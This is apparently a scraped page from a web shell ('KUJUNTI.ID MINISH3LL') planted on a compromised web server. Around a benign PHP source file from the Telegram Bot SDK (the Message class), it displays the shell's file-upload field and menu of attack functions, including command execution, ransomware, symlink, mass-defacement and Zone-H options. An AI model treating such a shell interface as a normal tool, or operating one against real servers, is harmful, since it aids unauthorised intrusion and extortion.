KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaymedia/vendor/irazasyed/telegram-bot-sdk/src/Objects/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaymedia/vendor/irazasyed/telegram-bot-sdk/src/Objects/Message.php


<?php

namespace Telegram\Bot\Objects;

use Telegram\Bot\Objects\Passport\PassportData;
use Telegram\Bot\Objects\Payments\Invoice;
use Telegram\Bot\Objects\Payments\SuccessfulPayment;

/**
 * Class Message.
 *
 * @property int                    $messageId              Unique message identifier.
 * @property User|null              $from                   (Optional). Sender, can be empty for messages sent to channels.
 * @property int                    $date                   Date the message was sent in Unix time.
 * @property Chat                   $chat                   Conversation the message belongs to.
 * @property User|null              $forwardFrom            (Optional). For forwarded messages, sender of the original message.
 * @property Chat|null              $forwardFromChat        (Optional). For messages forwarded from a channel, information about the original channel.
 * @property int|null               $forwardFromMessageId   (Optional). For forwarded channel posts, identifier of the original message in the channel.
 * @property string|null            $forwardSignature       (Optional). For messages forwarded from channels, identifier of the original message in the channel
 * @property string|null            $forwardSenderName      (Optional). Sender's name for messages forwarded from users who disallow adding a link to their account in forwarded messages
 * @property int|null               $forwardDate            (Optional). For forwarded messages, date the original message was sent in Unix time.
 * @property Message|null           $replyToMessage         (Optional). For replies, the original message. Note that the Message object in this field will not contain further reply_to_message fields even if it itself is a reply.
 * @property int|null               $editDate               (Optional). Date the message was last edited in Unix time.
 * @property string|null            $mediaGroupId           (Optional). The unique identifier of a media message group this message belongs to
 * @property string|null            $authorSignature        (Optional). Signature of the post author for messages in channels
 * @property string|null            $text                   (Optional). For text messages, the actual UTF-8 text of the message, 0-4096 characters.
 * @property MessageEntity[]|null   $entities               (Optional). For text messages, special entities like usernames, URLs, bot commands, etc. that appear in the text.
 * @property MessageEntity[]|null   $captionEntities        (Optional). For messages with a caption, special entities like usernames, URLs, bot commands, etc. that appear in the caption.
 * @property Audio|null             $audio                  (Optional). Message is an audio file, information about the file.
 * @property Document|null          $document               (Optional). Message is a general file, information about the file.
 * @property Animation|null         $animation              (Optional). Message is an animation, information about the animation. For backward compatibility, when this field is set, the document field will also be set
 * @property Game|null              $game                   (Optional). Message is a game, information about the game.
 * @property PhotoSize[]|null       $photo                  (Optional). Message is a photo, available sizes of the photo.
 * @property Sticker|null           $sticker                (Optional). Message is a sticker, information about the sticker.
 * @property Video|null             $video                  (Optional). Message is a video, information about the video.
 * @property Voice|null             $voice                  (Optional). Message is a voice message, information about the file.
 * @property VideoNote|null         $videoNote              (Optional). Message is a video note, information about the video message.
 * @property string|null            $caption                (Optional). Caption for the document, photo or video, 0-200 characters.
 * @property Contact|null           $contact                (Optional). Message is a shared contact, information about the contact.
 * @property Location|null          $location               (Optional). Message is a shared location, information about the location.
 * @property Venue|null             $venue                  (Optional). Message is a venue, information about the venue.
 * @property Poll|null              $poll                   (Optional). Message is a native poll, information about the poll
 * @property User[]|null            $newChatMembers         (Optional). New members that were added to the group or supergroup and information about them (the bot itself may be one of these members).
 * @property User|null              $leftChatMember         (Optional). A member was removed from the group, information about them (this member may be the bot itself).
 * @property string|null            $newChatTitle           (Optional). A chat title was changed to this value.
 * @property PhotoSize[]|null       $newChatPhoto           (Optional). A chat photo was change to this value.
 * @property bool|null              $deleteChatPhoto        (Optional). Service message: the chat photo was deleted.
 * @property bool|null              $groupChatCreated       (Optional). Service message: the group has been created.
 * @property bool|null              $supergroupChatCreated  (Optional). Service message: the super group has been created.
 * @property bool|null              $channelChatCreated     (Optional). Service message: the channel has been created.
 * @property int|null               $migrateToChatId        (Optional). The group has been migrated to a supergroup with the specified identifier, not exceeding 1e13 by absolute value.
 * @property int|null               $migrateFromChatId      (Optional). The supergroup has been migrated from a group with the specified identifier, not exceeding 1e13 by absolute value.
 * @property Message|null           $pinnedMessage          (Optional). Specified message was pinned. Note that the Message object in this field will not contain further reply_to_message fields even if it is itself a reply.
 * @property Invoice|null           $invoice                (Optional). Message is an invoice for a payment, information about the invoice.
 * @property SuccessfulPayment|null $successfulPayment      (Optional). Message is a service message about a successful payment, information about the payment.
 * @property string|null            $connectedWebsite       (Optional). The domain name of the website on which the user has logged in.
 * @property PassportData|null      $passportData           (Optional). Telegram Passport data
 * @property string|null            $replyMarkup            (Optional). Inline keyboard attached to the message. login_url buttons are represented as ordinary url buttons.
 * @property Chat|null              $senderChat             (Optional). Sender of a message which is a chat (group or channel).
 */
class Message extends BaseObject
{
    /**
     * {@inheritdoc}
     */
    public function relations()
    {
        return [
            'from'               => User::class,
            'chat'               => Chat::class,
            'forward_from'       => User::class,
            'forward_from_chat'  => Chat::class,
            'reply_to_message'   => self::class,
            'entities'           => [MessageEntity::class],
            'caption_entities'   => [MessageEntity::class],
            'audio'              => Audio::class,
            'dice'               => Dice::class,
            'animation'          => Animation::class,
            'document'           => Document::class,
            'game'               => Game::class,
            'photo'              => [PhotoSize::class],
            'sticker'            => Sticker::class,
            'video'              => Video::class,
            'voice'              => Voice::class,
            'video_note'         => VideoNote::class,
            'contact'            => Contact::class,
            'location'           => Location::class,
            'venue'              => Venue::class,
            'poll'               => Poll::class,
            'new_chat_member'    => ChatMember::class,
            'new_chat_members'   => [User::class],
            'left_chat_member'   => User::class,
            'new_chat_photo'     => [PhotoSize::class],
            'delete_chat_photo'  => ChatPhoto::class,
            'pinned_message'     => self::class,
            'invoice'            => Invoice::class,
            'successful_payment' => SuccessfulPayment::class,
            'passport_data'      => PassportData::class,
            'sender_chat'        => Chat::class,
            'proximity_alert_triggered'       => ProximityAlertTriggered::class,
            'voice_chat_started'              => VoiceChatStarted::class,
            'voice_chat_ended'                => VoiceChatEnded::class,
            'voice_chat_participants_invited' => VoiceChatParticipantsInvited::class,
        ];
    }

    /**
     * Determine if the message is of given type.
     *
     * @param  string  $type
     *
     * @return bool
     */
    public function isType($type)
    {
        if ($this->has(strtolower($type))) {
            return true;
        }

        return $this->detectType() === $type;
    }

    /**
     * Detect type based on properties.
     *
     * @return string|null
     */
    public function objectType(): ?string
    {
        return $this->detectType();
    }

    /**
     * Detect type based on properties.
     * @deprecated Will be removed in v4.0, please use {@see \Telegram\Bot\Objects\Message::objectType} instead.
     *
     * @return string|null
     */
    public function detectType()
    {
        $types = [
            'text',
            'audio',
            'animation',
            'dice',
            'document',
            'game',
            'photo',
            'sticker',
            'video',
            'video_note',
            'voice',
            'contact',
            'location',
            'venue',
            'poll',
            'new_chat_member',
            'new_chat_members',
            'left_chat_member',
            'new_chat_title',
            'new_chat_photo',
            'delete_chat_photo',
            'group_chat_created',
            'supergroup_chat_created',
            'channel_chat_created',
            'migrate_to_chat_id',
            'migrate_from_chat_id',
            'pinned_message',
            'invoice',
            'successful_payment',
            'passport_data',
            'proximity_alert_triggered',
            'voice_chat_started',
            'voice_chat_ended',
            'voice_chat_participants_invited',
        ];

        return $this->findType($types);
    }

    /**
     * Does this message contain a command entity.
     *
     * @return bool
     */
    public function hasCommand()
    {
        return (bool) $this->get('entities', collect())->contains('type', 'bot_command');
    }
}

© KUJUNTI.ID